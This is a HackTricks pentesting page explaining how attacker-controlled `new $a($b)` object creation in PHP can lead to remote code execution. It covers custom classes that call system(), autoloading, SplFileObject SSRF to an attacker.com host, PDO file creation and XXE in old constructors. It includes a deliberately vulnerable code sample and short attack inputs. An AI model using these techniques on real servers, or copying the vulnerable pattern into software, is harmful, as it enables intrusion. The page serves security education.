141 lines
6.7 KiB
Markdown
141 lines
6.7 KiB
Markdown
# PHP - RCE abusing object creation: new $\_GET\["a"]\($\_GET\["b"])
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<details>
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<summary><strong>Support HackTricks and get benefits!</strong></summary>
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Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
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</details>
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## Introduction
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In the situation where you can create a new arbitrary object like `new $_GET["a"]($_GET["a"])`you might be able to obtain RCE, and [**this writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) exposes different ways to get RCE.
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## RCE via Custom Classes or Autoloading
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In the construction `new $a($b)`, the **variable `$a` stands for the class name** that the object will be created for, and the variable **`$b` stands for the first argument** that will be passed to the object’s constructor.
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If `$a` and `$b` come from GET/POST, they can be **strings or string arrays**. If they come from **JSON** or elsewhere, they **might have other types**, such as object or boolean.
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Let’s consider the following example:
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```php
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class App {
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function __construct ($cmd) {
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system($cmd);
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}
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}
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# Additionally, in PHP < 8.0 a constructor might be defined using the name of the class
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class App2 {
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function App2 ($cmd) {
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system($cmd);
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}
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}
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# Vulnerable code
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$a = $_GET['a'];
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$b = $_GET['b'];
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new $a($b);
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```
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In this code, you can set `$a` to `App` or `App2` and `$b` to `uname -a`. After this, the command `uname -a` will be executed.
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When there are no such exploitable classes in your application, or you have the class needed in a separate file that isn’t included by the vulnerable code, you may take a look at autoloading functions.
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**Autoloading functions** are set by registering callbacks via `spl_autoload_register` or by defining `__autoload`. They are called when an instance of an unknown class is trying to be created.
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```php
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# An example of an autoloading function
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spl_autoload_register(function ($class_name) {
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include './../classes/' . $class_name . '.php';
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});
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# An example of an autoloading function, works only in PHP < 8.0
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function __autoload($class_name) {
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include $class_name . '.php';
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};
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# Calling spl_autoload_register with no arguments enables the default autoloading function, which includes lowercase($classname) + .php/.inc from include_path
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spl_autoload_register();
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```
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Depending on the PHP version, and the code in the autoloading functions, some ways to get a Remote Code Execution via autoloading might exist.
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## RCE via Built-In Classes
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When you don’t have custom classes and autoloading, you can rely on **built-in PHP classes only**.
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There are from 100 to 200 built-in PHP classes. The number of them depends on the PHP version and the extensions installed. All of built-in classes can be listed via the `get_declared_classes` function, together with the custom classes:
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```php
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var_dump(get_declared_classes());
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```
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Classes with useful constructors can be found via [the reflection API](https://www.php.net/manual/en/book.reflection.php).
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Displaying constructors and their parameters using the reflation API: [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF)\
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If you control **multiple constructor parameters and can call arbitrary methods** afterwards, there are many ways to get a Remote Code Execution. But if you can pass **only one parameter and don’t have any calls** to the created object, there is **almost nothing**.
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I know of only three ways to get something from `new $a($b)`.
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### **SSRF + Phar deserialization**
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The `SplFileObject` class implements a constructor that allows connection to any local or remote URL:
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```
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new SplFileObject('http://attacker.com/');
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```
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This allows SSRF. Additionally, SSRFs in PHP < 8.0 could be turned into deserializations via techniques with the Phar protocol.
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### **Exploiting PDOs**
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The PDO class has another interesting constructor:
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```php
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new PDO("sqlite:/tmp/test.txt")
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```
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The `PDO` constructor accepts DSN strings, allowing us to **connect to any local or remote database** using **installed database extensions**. For example, the SQLite extension can create empty files.
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### **SoapClient/SimpleXMLElement XXE**
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In PHP ≤ 5.3.22 and ≤ 5.4.12, the constructor of SoapClient was **vulnerable to XXE**. The constructor of SimpleXMLElement was vulnerable to XXE as well, but it required libxml2 < 2.9.
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## RCE via Imagick Extension
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Checking the **dependencies** of the **project** you are trying to exploit you could find **new classes** that could be **abused to execute commands** creating a new object. In this case, **Imagick** was found to be useful for that purpose.
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<details>
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<summary><strong>Support HackTricks and get benefits!</strong></summary>
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||
|
||
Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||
|
||
Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
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Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
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</details>
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